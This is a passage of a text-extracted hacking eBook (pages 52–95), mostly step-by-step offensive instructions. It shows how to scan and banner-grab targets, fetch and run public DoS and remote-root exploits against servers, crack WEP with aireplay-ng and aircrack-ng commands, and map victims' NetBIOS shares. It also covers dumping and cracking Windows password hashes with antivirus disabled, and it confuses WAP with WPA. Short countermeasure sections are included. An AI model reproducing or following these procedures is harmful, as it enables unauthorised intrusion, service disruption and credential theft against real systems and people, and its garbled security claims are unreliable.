\nother ways to get that information. \n"
},
{
"page_number": 52,
"text": "52 \n \n \n3. A sample scan result may look like the following: \n \n \n \n4. As you can see it found a few open ports and listed the services that are run \non them. Below I have a list of some of the most popular ports/services on \nthe internet. \n20 FTP data (File Transfer Protocol) \n21 FTP (File Transfer Protocol) \n22 SSH (Secure Shell) \n23 Telnet \n25 SMTP (Send Mail Transfer Protocol) \n43 whois \n53 DNS (Domain Name Service) \n68 DHCP (Dynamic Host Control Protocol) \n80 HTTP (HyperText Transfer Protocol) \n110 POP3 (Post Office Protocol, version 3) \n137 NetBIOS-ns \n138 NetBIOS-dgm \n139 NetBIOS \n143 IMAP (Internet Message Access Protocol) \n161 SNMP (Simple Network Management Protocol) \n"
},
{
"page_number": 53,
"text": "53 \n \n194 IRC (Internet Relay Chat) \n220 IMAP3 (Internet Message Access Protocol 3) \n443 SSL (Secure Socket Layer) \n445 SMB (NetBIOS over TCP) \n1352 Lotus Notes \n1433 Microsoft SQL Server \n1521 Oracle SQL \n2049 NFS (Network File System) \n3306 MYSQL \n4000 ICQ \n5800 VNC \n5900 VNC \n8080 HTTP \n5. Along with finding out what ports are running, the hacker needs to also find \nout what operating system the server is running. There are always a lot of \noperating system vulnerabilities out there to choose from. So by knowing \nthe operating system, the hacker’s chances of taking over the server go up. \n \nAs you can see, there is an option on Nmap to detect the operating \nsystem, but this scan is very loud and easily detected so it is better to avoid \nit if possible. A simple way to determine what the server is running is by \ngetting a 404 error page. You can get there by going to a page that doesn’t \nexist. For example the hacker would put in \n“www.targetsite.com/asdlfjasl.php” this page will most likely not exist and \nbring him to the 404 page. On most sites the 404 error page displays the \nserver operating system along with its version. Many sites nowadays don’t \ndisplay this by putting up custom 404 pages so this may not always work. \n \n6. If you are planning on using the CLI version of Nmap, or want a more in \ndepth look at all the commands take a look at the Nmap manual: \nhttp://nmap.org/book/man.html . \n7. Now that the hacker has got all the running services and open ports on the \ntargets system, he will now have to find out what versions the server is \nrunning. This is where “Banner Grabbing” comes in. \n \n \n \n \n"
},
{
"page_number": 54,
"text": "54 \n \nBanner Grabbing \n \n \nNow that the hacker has a full list of services running on the target system, \nto be able to exploit them, he has to first figure out what software and version \nthe service is. One way the hacker can get this information, is to telnet into \nservice port. In the example below, we will use command prompt on Windows \n(Start -> Run -> Type “cmd” -> Enter). If you are on a Mac, you will be using the \nterminal. Note: If you are using Windows Vista, then telnet is not installed by \ndefault. You can install it by doing the following simple steps. \no Click Start then select Control Panel. \no Select Programs and Features. \no Select Turn Windows features on or off. \no Select the Telnet Client option and click OK. \no A box will appear to confirm installation. The telnet command should now be \ninstalled \n1. First, the hacker would choose one of the open ports that were revealed in \nthe Nmap scan to continue with and attempt to exploit. Let’s say that when \nthe hacker scanned his target, he found the port 21 open. As you can see \non the chart above, port 21 is FTP. To find out what FTP software is running \nhe would use telnet by running the command: \ntelnet www.targetsite.com 21 \n \nAs you can see above, I ran this against my computer (localhost). So a \nhacker would insert a target URL in place of localhost. \n \n"
},
{
"page_number": 55,
"text": "55 \n \n2. Next, it would connect to the target and display a banner telling the hacker \nthe software and its version as shown below. This is the information the \nhacker needs to continue and begin searching for vulnerabilities for the \nsoftware discovered. \n \n \nIf the above method doesn’t work for you, then simply use Nmap’s full \nversion detection option to get the information. \n \n \n \n \nSearching for Vulnerabilities \n \nNow that the hacker has the name of the software being used and its \nversion number, he would take that information and search a couple vulnerability \ndatabases for an exploit. If there’s an exploit available, he will run it against the \nserver and take complete control. If there isn’t any, he would move onto another \nopen port and try again on a different service. \n \nSome of the most popular exploit databases are: \n• Milw0rm \n• SecurityFocus \n• osvdb \n"
},
{
"page_number": 56,
"text": "56 \n \n \nBy searching “filezilla” on milw0rm, fortunately the hacker won’t find any \nexploits for my current version of the FTP software. Now most people would \nmove on to another port to try and find another possible vulnerability, but this \ndoesn’t mean every hacker will. If a skillful hacker is determined, he may try to \nlocate a vulnerability in the current software version and develop an exploit for it. \nIn the hacker community, this new vulnerability would be called a “0-day”. 0-day \nvulnerabilities are very valuable in the hacker community for a few reasons. \n• No one knows about the vulnerability, so the hacker could \nstart hacking hundreds of websites before the vulnerability is \ndiscovered and patched. \n• The hacker could sell the vulnerability for thousands of dollars. \n• Discovering vulnerabilities and creating an exploit for it shows \nthat the hacker is very skillful and raises his ranks in the hacker \ncommunity. \nYou might be wondering why 0-days are worth so much. It’s very simple. I’ll \nexplain it with a simple equation. \nHacker + 0-Day + Company Servers = Bad Reputation = Loss of Money \n \n \nNow before we get into the actual penetrations, I will discuss a couple of \nthe common type of attacks used against discovered vulnerabilities. \nDenial-of-Service (DoS) – There are many types of DoS attacks, but they all have \none purpose: to make the target server unavailable for legitimate users. The most \ncommon type of DoS attack is when the hacker sends a flood of information to \nthe target server causing it to use up all of its resources, and in return pushing it \noffline, or causing it to deny requests from legitimate users trying to access it. \nBuffer Overflow (BoF) – A buffer overflow happens when a program attempts to \nstore more data into a buffer, or a data storage area, then it was meant to hold. \nBecause the buffer was only meant to hold a certain amount of data, the extra \ninformation overflows into other buffers causing them to be overwritten with \nmalicious code created by the hacker. Once this code is executed, the hacker can \nreceive full control of the server. \n"
},
{
"page_number": 57,
"text": "57 \n \nIf you search the Milw0rm exploit database, you will see that in many exploit \ntitles it reads local exploit or remote exploit. Below are their definitions: \nLocal Exploit – To run a local exploit, you must first have access and privileges on \nthe machine. Local exploits are usually used to escalate ones privileges to admin \nor root. In other words, it allows an ordinary user to gain root privileges. \nRemote Exploit – A remote exploit is pretty much the same thing as a local exploit \nexcept that it isn’t run locally, but launched from anywhere across the internet. \nA hacker usually has to use a combination of both remote and local exploits to \ngain full control of a system. For example, the hacker may have been able to gain \nregular privileges with a remote exploit attack, and then be able to escalate to \nroot privileges with the help of a local exploit. \n \nPenetrating \n \nSo now you might be wondering: Once the hacker finds the right exploit, \nhow does he go about running it against the target and penetrating the server? \nThis will all be explained in this chapter. \nAs you search Milw0rm or any of the other couple exploit database websites \nprovided in this chapter, you will notice that the exploits are created in many \ndifferent types of programming languages. Below I will list a few of the most \ncommon programming languages used, and how a hacker would compile and run \nthem against a server. \n \nPHP exploits are very common. PHP exploit code usually starts with <?php \nand ends in ?> . Let’s say the hacker wanted to do some temporary damage to a \nserver running FTP Server 0.9.20. If he was to search milw0rm he would come up \nwith the following DOS exploit: \nPHP \nhttp://milw0rm.com/exploits/2901 and run it \nagainst the server. Below are the steps the hacker would take. \n \n1. First the hacker would need to install PHP onto his computer. WAMP \nis a free web server that comes with PHP. If you are using a Mac then \nyou must install MAMP . Next, paste the PHP exploit into notepad or \nany word processor and save it as “exploit.php”. \n"
},
{
"page_number": 58,
"text": "58 \n \n \nYou will have to know a little PHP to edit the target address. On line \n13 of this exploit you will see: \n$address = gethostbyname(‘192.168.1.3’); here you will have to edit \nin the IP address of the target. Every exploit is different. Some you \nhave to know what to edit and some have runtime instructions. Save \nthis edited file into the PHP directory on your server that contains \nthe PHP executable file. In WAMP the directory would be \nC:\\wamp\\bin\\php\\php5.2.5 , of course the last directory version \nnumber changes with newer versions. \n2. Next open up the command prompt or terminal if you are using a \nMac, and go to the PHP directory by using the CD (change directory) \ncommand followed by the directory location. \n \n \n \n \n3. Now it’s time to run the exploit. To run it simple type in “php \nexploit.php” and hit enter. You should get a couple errors. \n \n \n \n"
},
{
"page_number": 59,
"text": "59 \n \n4. When skilled hackers create exploits, they sometimes insert mistakes \nor extra code so that script kiddies with no programming knowledge \nwouldn’t be able to use them. The above is a simple example. If you \ngo to line 18 of this exploit , will see the line \n $junk.=”../../../sun-tzu/../../../sun-tzu/../../../sun-tzu”; \nThis line was inserted to throw off the script kiddies and by simply \nremoving it, the error will disappear. Just another reason why it’s \nhelpful to learn how to program. \nAlso every now and then you will receive other errors such as the \none the second picture shows above. These errors have to do with \nthe server configurations. Now as a hacker, you have to learn a lot on \nyour own. By going around asking simple questions like this all the \ntime will make you look bad and the most common response you will \nreceive: www.google.com . Google is your friend, so take advantage \nof it! So starting now, begin to use Google, and if you are still stuck, \nthen you can ask help on community forums. \n5. Once the errors are fixed and the program is running, a DoS attack \nwill be launched the target website up until you exit the command \nscreen. If the target server can’t handle much, you may be able to \nsee the affect of your exploit by going to the site and clicking around. \nIf it is working, the site will begin to lag and it’ll take a long time to \nload pages. Eventually the server may go down completely. \n \n \nRunning Perl exploit scripts is just as easy as running PHP scripts. \nPerl \n1. Download and install the appropriate version of ActivePerl. \n2. Next the hacker would find an exploit for vulnerability. In this example we \nwill use the following example: http://milw0rm.com/exploits/6581 for \nWinFTP Server 2.3.0. This is also a Denial of Service (DoS) exploit. \n3. Edit the options like the target server and others as needed. Then save the \nfile as “exploit.pl”. As you can see Pearl exploits begin with \n“!/usr/bin/perl”. \n"
},
{
"page_number": 60,
"text": "60 \n \n4. Open CMD or Terminal and change into the directory with the exploit using \nthe CD (change directory command). Then run the exploit by typing: \n“perl exploit.pl”. The attack has begun. Simple, eh?\n \n \n \n \nPython is also a common programming language used in creating exploits. \nYou can download python from \nPython \nhttp://www.python.org/download/. The steps to \nrunning a Python exploit are just as easy as the ones for Perl. See if you can get \nthe exploit: http://milw0rm.com/exploits/3523 up and running. Hint: Python files \nend with .py . \n \n \nC/C++ are the most popular programming languages used in developing \nexploit code. Some C/C++ code can be compiled with any compiler and on any \noperating system. There are also C/C++ scripts that are made to be compiled by a \nparticular compiler, or in a particular operating system. You can usually find this \ninformation commented in the top of the script. Below is a list of the most \npopular compilers for each operating system. \nC/C++ \n \n \n"
},
{
"page_number": 61,
"text": "61 \n \n \n \nWindows \n• Microsoft Visual C++ \n• Borland C++ \n• Dev-C++ \nMac \n• MrC/MrCpp \n• Xcode \nLinux \n• GCC \n \nMost C/C++ exploit code is made to be compiled in Linux. If you wish to run \none them but you’re only option is Windows, then you can use Cygwin . \nCygwin is a Linux-like environment that runs in Windows and acts as a Linux \nemulation layer, allowing you to run Linux scripts in windows. Although many \nLinux C/C++ exploit scripts will work with Cygwin, there are also many may \nnot. I will show you how you can use Cygwin right after I give you an example \nof compiling and running a C/C++ script in Ubuntu Linux. If you aren’t already \nusing Linux, I would recommend following along using VirtualBox from the \nLinux chapter. \n \n \n \n \n \n \n \n"
},
{
"page_number": 62,
"text": "62 \n \n1. Open up Terminal. \n \n \n2. Go to http://milw0rm.com/exploits/269 and copy the remote root exploit. \n3. Open up the VI editor in the terminal by typing in “vi” and hitting <Enter>. \nYou should see the following screen: \n \n \n \n4. To get into typing mode type in I (Shift + I). \n5. You are now in insert mode. Right click and paste in the exploit. \n"
},
{
"page_number": 63,
"text": "63 \n \n6. The script should have pasted in. Now it’s time to save it. Hit the <ESC> key \nand then type in “:wq exploit.c” . This quits and saves the document as \nexploit.c . \n7. Now type in the command: ls. This command lists all the files in the current \ndirectory. You should see your newly made file in the list. \n \n \n \n8. Now we will compile the script using the GCC compiler, but before we \ncompile this script we need to first install a development package of all the \nlibraries and headers needed to compile C/C++ scripts. It’s a very easy \nprocess. In the terminal type in the following command: \n \nsudo apt-get install build-essential \n"
},
{
"page_number": 64,
"text": "64 \n \n \n9. This command downloads the package and then asks you if you would like \nto continue with installing. Type in a “y” and hit enter. It automatically will \ninstall the package. \n10. Now to compile the script type in the command “gcc exploit.c” , it will \nquickly compile. If there was no error displayed, then it was successful. By \nusing the “ls” command you can now see there’s a new file named “a.out” \nthis is the compiled script. \n11. To run the new file type in the command “./a.out”. This will display a little \nnote telling you how to run the exploit against a server. The below image \nshows all of these steps together. \n"
},
{
"page_number": 65,
"text": "65 \n \n \n12. The last line of the picture shows the proper way a hacker would use the \nscript against a server. \n13. Once the hacker ran the script against a vulnerable server running \nBeroFTPD 1.3.4 and the script worked, the hacker would now have root \naccess to the server. Below is an image of what the root account on Ubuntu \nwould look like. \n \nAs you can see the “whoami” command tells you who you are on the \nsystem. In this case I am root. \n \n \n \n"
},
{
"page_number": 66,
"text": "66 \n \n \nIf you only have access to a Windows machine, and you come across \na C/C++ script that is only meant to be compiled in Linux, then you can use \nCygwin to make it possible in Windows. Let’s get right into it! \nCygwin \n \n1. Download Cygwin from http://www.cygwin.com/. \n2. Run the installer. \n3. Choose to install from the internet. \n \n \n \n4. Continue on until it asks you to choose a mirror to download \nfrom. Choose any. \n"
},
{
"page_number": 67,
"text": "67 \n \n \n \n5. Next you must select packages to download. Click View “+” under \nDevel to expand the category. Expand the window so that you can \nsee all of the columns. Under the package column, search for gcc-\ncore and click on “Skip” to select it and click next. \n6. If it tells you that you haven’t selected a couple packages that you \nneed, agree to install them and click next. \n7. It will begin to install the packages \n8. Once it is installed, double click the desktop icon and a command \nprompt should come up. \n \n9. Using the same exploit as the last example, save and move it into \nthe “C:\\cygwin” directory as “exploit.c”. \n"
},
{
"page_number": 68,
"text": "68 \n \n10. Now it’s time to run the exploit. First you must change the \ndirectory to the home directory (C:\\cygwin) by using the \ncommand “cd /”. Next use the “ls” command to display all the \nfiles in the current directory. You should see “exploit.c”. \n11. Now to compile the script we use the same command as we did \nin Ubuntu: “gcc exploit.c –o exploit”. Here you see that we added \na new parameter “-o”. This simply tells the compiler to name the \noutput exe “exploit.exe”. Hit <ENTER> and if no error messages \ncame up, then it was successful. If you use the “ls” command \nagain, you should see a new file “exploit.exe” in the directory. \n12. To run the exploit, simply type “./exploit”. It will now display the \nscripts runtime directions. Put in the right options and parameters \nand run the script again. The picture below shows all of these \nsteps being done. \n \n13. Once a hacker runs this script against a vulnerable machine and \nthe script works, he will have root access to the target computer. \n \n"
},
{
"page_number": 69,
"text": "69 \n \nThe more exploits you run, the more you will notice that half of them may not \nwork. Many exploits are created and tested in specific environments and the \nexpected outcome only happens when the exploit is run in the exact same \nenvironment. That is another reason why programming knowledge is needed, so \nyou could edit the exploit script to work for you. \nOnce a skilled hacker gains root to a server he has the ability to do a lot of \ndamage. Some of the things a hacker might do with a rooted server is: \n• Add himself as a permanent user for future access. \n• Add the server into his botnet collection so he could use it as a weapon \nagainst other servers. \n• Use it as a proxy to hack other websites. \n• Install a rootkit so he can come back and have full control over the server \nwhen needed. \n• Constantly steel information as it comes. \n• Use the system to store illegal data. \n• Deface the website and sometimes the hacker will delete everything off of \nthe server. \n \nCountermeasures \n \nThere are a few things you can do to stay secure from network hacking \nattempts. \n1. Keep all your software up to date. There will always be new vulnerabilities \ncoming out, and your responsibility is to patch them immediately after a \npatch comes out. \n2. Implement a firewall. This will keep most of the bad data out and good \ndata in. \n3. Install anti-virus software. \n4. Scan your system with a vulnerability scanner. This may reveal possible \nvulnerabilities in your system. \n \n \n \n"
},
{
"page_number": 70,
"text": "70 \n \n \n \n \n \n \n \n \n \n \n \n \nChapter Six \nWireless Hacking \n \n \n \n \n \n \n \n \n \n \n"
},
{
"page_number": 71,
"text": "71 \n \n \nNowadays, there are wireless hotspots everywhere! You can get internet \naccess with a wireless enabled laptop almost everywhere you go. In this chapter I \nwill discuss ways a hacker goes about getting into secure wireless networks and \nthings he can do once he is inside. \n \nScanning for Wireless Networks \n \nFor this section and the following, you will need to have a wireless \ncard/adapter. The hacker starts by scanning for wireless networks near him. The \nWindows tool we will use in this section is called NetStumbler. Also by the time \nyou receive this eBook MacStumbler may already be released for those of you \nusing a Mac. Some other similar programs are: \n• Kismet for Windows and Linux. \n• KisMac for the Mac. \n \n1. Download and install NetStumbler. \n2. Run it. It automatically starts to scan for wireless access points. \n3. Once it is completed, you should see a list of all the wireless access points \naround you. \n \n"
},
{
"page_number": 72,
"text": "72 \n \n4. If you click on the MAC address of one of the discovered wireless networks \nunder channels, you will see a graph that shows the wireless network’s \nsignal strength. The more green and the less spaces, the better the signal. \n \n \n \n5. As you can see NetStumbler provides a lot more than just the name (SSID) \nof the wireless network. It provides the MAC address, Channel number, \nencryption type, and a bunch more. All of these come in use when a hacker \ndecides he wants to get in the secured network by cracking the encryption. \nThe most common types of encryption are: \n• WEP (Wired Equivalent Privacy) – WEP isn’t considered safe \nanymore. Many flaws have been discovered that allow a hacker to \ncrack a WEP key easily. \n• WAP (Wireless Application Protocol) – WAP is the currently the most \nsecure and best option to secure your wireless network. It’s not as \neasily cracked as WEP because the only way to retrieve a WAP key is \nto use a brute-force or dictionary attack. If your key is secure enough, \na dictionary attack won’t work and it could take decades to crack it if \nyou brute-force it. This is why most hackers don’t even bother. \n \n \n \n"
},
{
"page_number": 73,
"text": "73 \n \nCracking WEP \n \nIn this section we will use be using the Live Linux distribution called \nBackTrack to crack WEP. Backtrack comes with a huge list of preloaded software \nfor this very purpose. Before we begin, there are a couple requirements: \n1. You need a computer with a compatible wireless adapter. \n2. Download Backtrack and create a Live CD. \nThe tools we will be using on Backtrack are: \n• Kismet – a wireless network detector \n• airodump – captures packets from a wireless router \n• aireplay – forges ARP requests \n• aircrack – decrypts the WEP keys \nLet’s begin! \n1. First we will find a wireless access point along with its bssid, essid and \nchannel number. To do this we will run kismet by opening up the terminal \nand typing in kismet. It may ask you for the appropriate adapter which in \nmy case is ath0. You can see your device’s name by typing in the command \niwconfig. \n \n2. To be able to do some of the later things, your wireless adapter must be \nput into monitor mode. Kismet automatically does this and as long as you \nkeep it open, your wireless adapter will stay in monitor mode. \n3. In kismet you will see the flags Y/N/0. Each one stands for a different type \nof encryption. In our case we will be looking for access points with the WEP \nencryption. Y=WEP N=OPEN 0=OTHER(usually WAP). \n"
},
{
"page_number": 74,
"text": "74 \n \n4. Once you find an access point, open a text document and paste in the \nnetworks broadcast name (essid), its mac address (bssid) and its channel \nnumber. To get the above information, use the arrow keys to select an \naccess point and hit <ENTER> to get more information about it. \n \n5. The next step is to start collecting data from the access point with \nairodump. Open up a new terminal and start airodump by typing in the \ncommand: \nairodump-ng -c [channel#] -w [filename] --bssid [bssid] [device] \nIn the above command airodump-ng starts the program, the channel of \nyour access point goes after -c , the file you wish to output the data goes \nafter -w , and the MAC address of the access point goes after --bssid. The \ncommand ends with the device name. Make sure to leave out the brackets. \n6. Leave the above running and open another terminal. Next we will generate \nsome fake packets to the target access point so that the speed of the data \noutput will increase. Put in the following command: \n aireplay-ng -1 0 -a [bssid] -h 00:11:22:33:44:55:66 -e [essid] [device] \nIn the above command we are using the airplay-ng program. The -1 tells the \nprogram the specific attack we wish to use which in this case is fake \nauthentication with the access point. The 0 cites the delay between attacks, \n-a is the MAC address of the target access point, -h is your wireless \nadapters MAC address, -e is the name (essid) of the target access point, and \nthe command ends with the your wireless adapters device name. \n7. Now, we will force the target access point to send out a huge amount of \npackets that we will be able to take advantage of by using them to attempt \nto crack the WEP key. Once the following command is executed, check your \nairodump-ng terminal and you should see the ARP packet count to start to \nincrease. The command is: \naireplay-ng -3 -b [bssid] -h 00:11:22:33:44:5:66 [device] \n"
},
{
"page_number": 75,
"text": "75 \n \nIn this command, the -3 tells the program the specific type of attack which \nin this case is packet injection, -b is the MAC address of the target access \npoint, -h is your wireless adapters MAC address, and the wireless adapter \ndevice name goes at the end. \n8. Once you have collected around 50k-500k packets, you may begin the \nattempt to break the WEP key. The command to begin the cracking process \nis: \naircrack-ng -a 1 -b [bssid] -n 128 [filename].ivs \nIn this command the -a 1 forces the program into the WEP attack mode, the \n-b is the targets MAC address, and the -n 128 tells the program the WEP \nkey length. If you don’t know the -n , then leave it out. This should crack the \nWEP key within seconds. The more packets you capture, the bigger chance \nyou have of cracking the WEP key. \n \n \nWith all the different computers and network adapters out there, you may come \nacross a error occasionally. If you get stuck, remember, Google is your friend!  \nSearch for an answer and I guarantee you that 99% of the time you will find a \nsolution. \n \n \n \n \n"
},
{
"page_number": 76,
"text": "76 \n \n \nPacket Sniffing \n \nI will be using the program Wireshark do demonstrate packet sniffing. \nPacket sniffing is the act of capturing packets going through a network. With a \npacket sniffer, once a hacker gains access to wireless network he could intercept \nprivate information going through a network such as: usernames, passwords, IM \nconversations, and e-mails. Let’s show you an example. \n1. Download and install Wireshark . \n2. Launch it and click on the option to list the available capture interfaces as \nshown below. \n \n \n \n3. Next choose the target to begin to capture their packets and click on start. \n4. If you don’t know which one to choose, wait a little bit and the one that \naccumulates the most packets is your best choice. Many captured packets \nshows that the user is currently active. \n \n \n \n \n \n"
},
{
"page_number": 77,
"text": "77 \n \n5. Now to show you an example of how Wireshark can be used I will start up \nWindows Live and send a message. As you will see in the image below, my \nwhole conversation will be captured. To filter out all the useless data and to \nonly display the Windows Live related packets type in “msnms” in the filter \nbar. \n \n \n \n6. As you can see, my message is displayed at the bottom. If I continue down \nthe list I can see the whole conversation. Usernames and passwords are \ncaptured the same way, and if they aren’t encrypted, you can see them in \nplain text. \nSome other useful sniffing programs to learn: \n• WinDump \n• Snort \n• Dsniff \n \n"
},
{
"page_number": 78,
"text": "78 \n \nCountermeasures \n \nThere are a few countermeasures you could follow to keep your wireless \nnetwork safe from hackers. \n1. Change your routers default password and make sure you have WAP \nencryption enabled. If your router doesn’t have a WAP option, use WEP. It \nis better than nothing. \n2. Use a long secure password for your router. Include numbers, lowercase \nletters, uppercase letters and other symbols. The more obscure the better. \n3. Make sure your router has the option to not broadcast your SSID enabled. \nThis will prevent some programs like Net Stumbler from locating your \nwireless network. \n4. Use MAC filtering on your router. Every wireless card and wireless adapter \nhas a MAC address. By choosing to allow only your MAC addresses onto the \nnetwork, you can keep a lot of attackers out. \n5. To prevent packet sniffing attacks from affecting you, make sure the \nimportant sites you use, like banks, use SSL (Secure Socket Layer) \nencryption. You can tell if the site has SSL enabled if the URL begins with \nhttps:// instead of http:/. \n6. In cafés or other hotspots where internet is free, packet sniffing is very \ncommon. To avoid being affected use a VPN (Virtual Private Network) \nservice to encrypt the data you send across the internet. \n \n \n \n \n \n \n \n \n \n"
},
{
"page_number": 79,
"text": "79 \n \n \n \n \n \n \n \n \n \n \nChapter Seven \nWindows Hacking \n \n \n \n \n \n \n \n \n \n \n"
},
{
"page_number": 80,
"text": "80 \n \nNetBIOS \n \nNetBIOS stands for Network Basic Input Output System. It allows your LAN \nor WAN to share drives, folders, files and printers. Gaining access to a computer \nthrough NetBIOS is very simple and easy. The only thing required is for the target \nmachine to have file and printer sharing enabled and to have port 139 open. \nBelow I will show you an example of what a hacker would do to gain access to a \nWindows machine through NetBIOS. \n1. First the hacker would search for a target. A common tool used by hackers \nis Angry IP Scanner . Download and install it. \n2. Next the hacker would insert the IP range he would like to scan. If the \nhacker was connected to a WLAN (Wireless Local Area Network) he would \nscan the local computers like I have shown below. \n \n \n \n3. Since the hacker’s goal is to gain access to a system through NetBIOS, which \nruns on port 139, he will choose to scan each found host for that port. Click \nthe downward arrow on the right and check the Scan ports box. A popup \nwill come up asking you if you would like to select a new port. Click YES. \n \n \n \n \n \n \n"
},
{
"page_number": 81,
"text": "81 \n \n4. Type in the port number 139 into the first box and click OK. \n \n5. Click start. The program will begin scanning and when it’s complete a box \nwith the results will come up. \n \n6. As you can see 224 Ips were scanned. Out of those only one was alive and \nluckily it has port 139 open. \n \n"
},
{
"page_number": 82,
"text": "82 \n \n \n \n7. Open the Command Prompt by going to Start -> Run -> Type in cmd -> \n<ENTER> . \n8. Now the hacker would run the “nbtstat –a TargetIPaddress” this will tell us \nif the target has file and printing enabled. Without it, this attack is not \npossible. \n \n"
},
{
"page_number": 83,
"text": "83 \n \n9. In the above image DAVIDS-MACHINE is the name of the target computer. \nIf you look to the right of it you will see the number <20>. This means that \nfile and printer sharing is enabled. If there was no <20> then you could not \ngo any further and would have to find a new target. \n10. Next the hacker would run the command “net view \\\\TargetIPaddress”. \nThis command will display any shared drives, folders, files or printers. If \nnothing comes up, you won’t be able to gain access to anything since there \nis nothing being shared. In my case, I got the following: \n \n11. In my example, I have two printers shared and one disk named \nSharedDocs. The hacker would be able to take control of my printers and \nview everything in my SharedDocs disk. \n12. To gain access to my SharedDocs disk, the hacker would have to map out \nthe drive onto his computer. If successful, the hacker will have all the \ncontents of my drive on his computer. \n13. To map out my drive onto his computer the hacker would use the \ncommand “net use G: \\\\TargetIPaddress\\DriveName”. So in my case I \nwould run the command “net use G:\\\\192.168.1.101\\SharedDocs”. You \ncan use any letter in place of G:\\\\. This just tells the computer what to \nname the drive on your computer. \n \n14. What’s this? Looks like I already have a drive G. To avoid this problem, go \nto My Computer where it will show all of your current Drives. To fix this \nsimply change the letter G to a nonexistent drive letter. \n"
},
{
"page_number": 84,
"text": "84 \n \n15. Once the command is completed successfully, go to My Computer and you \nshould see a new drive under Network Drives. Double clicking it brings up \nall of the targets documents. \n \n \n \nCracking Windows Passwords \nTo crack Windows XP and Windows Vista passwords, we will use the \nprogram called ophcrack. Ophcrack is a Windows only password cracker, and it \nuses rainbow tables to get the job done quickly. It cracks passwords for both \nWindows XP and Vista but it is more powerful on XP because Vista fixed the \nsecurity hole that allowed XP to crack passwords easily. Windows uses a couple a \ncouple types of hashes. One of them is the LM (Lan Manager) hash. If a password \nis longer than seven characters, then it is split into seven character chunks, made \ninto all uppercase, and then hashed with the DES encryption. Because it is split \ninto parts and made all uppercase, the total number of different password \ncombinations goes down significantly, and makes it easier for hackers to crack the \npassword. The Windows password hashes are stored in a couple places: \n"
},
{
"page_number": 85,
"text": "85 \n \n• In the C:\\WINDOWS\\system32\\config directory where it is locked to all \naccounts but the system account which you don’t have access to. \n• In the registry: HKEY_LOCAL_MACHINESAM where it is also locked for all \nusers. \nSo you might be wondering, how can I get a copy of those hashes? There are a \ncouple ways. \n• Boot from a Linux live CD and copy the SAM file onto a USB or floppy \ndisk. \n• Use the PWDUMP program that comes with ophcrack to trick the \nregistry into giving up the hashes. \n \n1. First download and install ophcrack. As you can see there are two \nversions. In this example we will be using the program itself in windows, \nso download the first option. \n \n2. Once you have it downloaded, install it. When the option comes up to \ndownload rainbow tables, unclick them all and just install the program. \nIt is better to download the rainbow tables separately. \n \n"
},
{
"page_number": 86,
"text": "86 \n \n3. Once it is installed, go to the ophcrack website and click on Tables in the \nnavigation. This will display all the tables you can download. As you can \nsee, the more characters covered, the bigger the table gets. Choose the \ncorrect table for your operating system. \n \n \n \n \n"
},
{
"page_number": 87,
"text": "87 \n \n \n4. In the example, I chose the largest possible free table. Next run \nophcrack and click on tables. Select the table you downloaded and click \nInstall to locate the file on your computer. Hit OK to continue. \n \n"
},
{
"page_number": 88,
"text": "88 \n \n5. Next we will be running PWDUMP to obtain the password hashes. Make \nsure all of your anti-virus and anti-spyware programs are disabled \nbecause most anti-virus programs mistake PWDUMP for a malicious \nprogram since it accesses the system files. If you don’t disable the anti-\nvirus program PWDUMP will fail in retrieving the hashes. \n6. Click Load and select Local SAM. This will load all the password hashes \nfor all the users on your computer and display them. \n \n7. Next click Crack and the program will begin to crack the password \nhashes. \n8. Once the program finishes cracking, you should see a screen similar to \nthe following: \n \n"
},
{
"page_number": 89,
"text": "89 \n \n9. As you can see, two out of three of my account passwords were cracked \nin a matter of a couple minutes. \n• Bob : lolcats \n• David M: not found \n• Pushkin: Christmas02 \n \n \nThe next method to crack the Windows hashes I will show you is \nthrough an ophcrack LiveCD. \nOphcrack LiveCD \n1. Go to the ophcrack website and choose the correct operating system \nLiveCD to download. \n2. With the downloaded .ISO, create a LiveCD the same way you did with \nthe Ubuntu LiveCD in the Linux chapter. \n3. Put the CD in your CD-Drive and restart to boot from the CD. \n4. You will see the following screen: \n \n"
},
{
"page_number": 90,
"text": "90 \n \n5. Hit <ENTER> or wait six seconds to boot into the Ophcrack Graphic \nmode. If something goes wrong and the screen won’t show the \nGraphics, restart and go into the Ophcrack Graphic VESA mode. If this \nalso fails, go into Ophcrack Text mode. \n6. Once it ophcrack loads completely, it will automatically get your \nWindows password hashes and begin the cracking process. \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n"
},
{
"page_number": 91,
"text": "91 \n \nCountermeasures \n \nThere are a couple things you can do to prevent NetBIOS and Ophcrack \npassword cracking attacks. \n1. To keep computer from being a target of NetBIOS attacks, simply disable \nfile and printer sharing. In Windows Vista, it is disabled by default but you \nmust do a little work in Windows XP. \n• Go to Start -> Control Panel -> Network Connections. \n• Double click on your active connection. In my case it is the Wireless \nNetwork Connection 2. \n• Click on Properties. \n• If File and Printer Sharing is selected, deselect it and click OK. \n \n"
},
{
"page_number": 92,
"text": "92 \n \n \n \n \n \n \n \n \n \n \n \n \n \n"
},
{
"page_number": 93,
"text": "93 \n \n \n \n \n \n \n \n \n \nChapter Eight \n Malware \n \n \n \n \n \n \n \n \n \n"
},
{
"page_number": 94,
"text": "94 \n \nMalware is a big problem today. Everyday thousands of innocent people \nare getting infected by different types of malware. The most common types of \nmalware today are viruses, worms and Trojans. In this chapter we will discuss all \nthe types of malware, and give you an example of a windows trojan in use. The \nreason we will use Windows is because malware is very rare in Linux and Mac \ncomputers. \n \nDefinitions \n1. Viruses – Viruses cannot spread without the help of us humans. They are \nlike parasites because they need a host to attach themselves to. The \nhost is usually a legitimate looking program or file. Once this program is \nlaunched, the virus is executed and infects other files on your computer. \nViruses can be very destructive. They can do damage to your computer \nhardware, software and files. Viruses are spread through the sharing of \nfiles and are many times sent within emails via attachments. \n2. Worms – A worm is a malicious program that can replicate itself onto \nother computers on a network. Unlike a virus, worms don’t need a \nhuman to be able to spread and infect systems. Once it infects a system, \nit uses that system to send out other copies of itself to other random \nsystems attempting to infect them. \n3. Trojan Horse – A trojan horse is a malicious program that can be used to \ndo silly things to a system like changing its desktop, mess with the user \ninterface, and take control of your mouse. It can also be used for some \nserious things like accessing your data, erasing your files, stealing your \npasswords, and capturing your keystrokes. \n4. Logic Bombs – Logic bombs are usually pieces of code that are \nprogrammed into a program that lie dormant until a certain time or until \na user does a certain action which causes it to be executed. When it is \ntriggered it performs a certain function that the program wasn’t \nintended to do. \n5. Bacteria – Bacteria make many copies of themselves and eventually end \nup taking up all of the computers recourses such as all of its processor \npower, memory and disk space. This results in the legitimate user losing \naccess to those resources. \n"
},
{
"page_number": 95,
